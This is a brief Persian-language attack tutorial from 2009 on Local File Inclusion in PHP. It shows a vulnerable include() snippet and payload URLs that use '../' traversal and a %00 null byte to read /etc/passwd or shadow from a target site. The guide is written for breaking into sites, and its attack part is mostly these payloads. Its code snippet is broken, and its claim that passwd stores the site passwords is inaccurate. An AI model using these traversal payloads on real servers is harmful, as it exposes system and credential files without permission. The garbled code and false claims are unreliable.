به نام خدا

Local File Inclusion

2009/08/05

نویسنده : سعید بستان دوست

www.ipsecure.ir

mr.cback@gmail.com

1- چگونه آسیب پذیری را پیدا کنیم؟

در مباحث قبلی که داشتیم با توابع

include()
include_once()
require()
require_once()

آشنا شدیم باگ های LFI هم از این توابع پیروی میکنند

به این کد توجه کنید

```
<?php
include($data);
$data=/fa/index.php
?>
```

این کد در صفحه edit.php پیدا شده

همانطور که می بینید صفحه edit.php میاد و صفحه index.php رو فراخوانی میکنه

http://example.com/edit.php?data=index.php

حال ما به جای اینکه Index.php رو فراخوانی کنیم میبایم و passwd یا shadow فراخوانی میکنیم

در این پوشه ها یوزر و پسورد سایت های روی سرور وجود دارد

http://example.com/edit.php?data=../../../../../../etc/passwd

خوب الان من passwd رو دارم میبینم

../ : شما با کمک این کد یک پوشه به عقب میرید تا برسید به جایی که میخواید

توجه : گاه پیش می آید که شما هر چقدر تلاش میکنید نمی توانید passwd رو در بیارید

دلیل : tag هایی که در سایت مشخص شدن می خواهند

http://example.com/edit.php?data=../../../../../../etc/passwd.php

در نتیجه همچین چیزی پیدا نمیشه و به مشکل بر می خورید

ما اینجا بر سر null **کد میرسیم** %00 **یک نال کد است که درخواست ما رو اجرا میکنه**

http://example.com/edit.php?data=../../../../../../etc/passwd%00

حال دیگر مشکلی وجود ندارد و به راحتی passwd **رو میبینید**

passwd -2 **های کد شده را چگونه تشخیص دهیم**

خوب پس از اینکه passwd **رو درآوردید اگر هر یوزر کدی شبیه این بود پسورد کد شده هست**

:x:00:00:xx

موفق باشید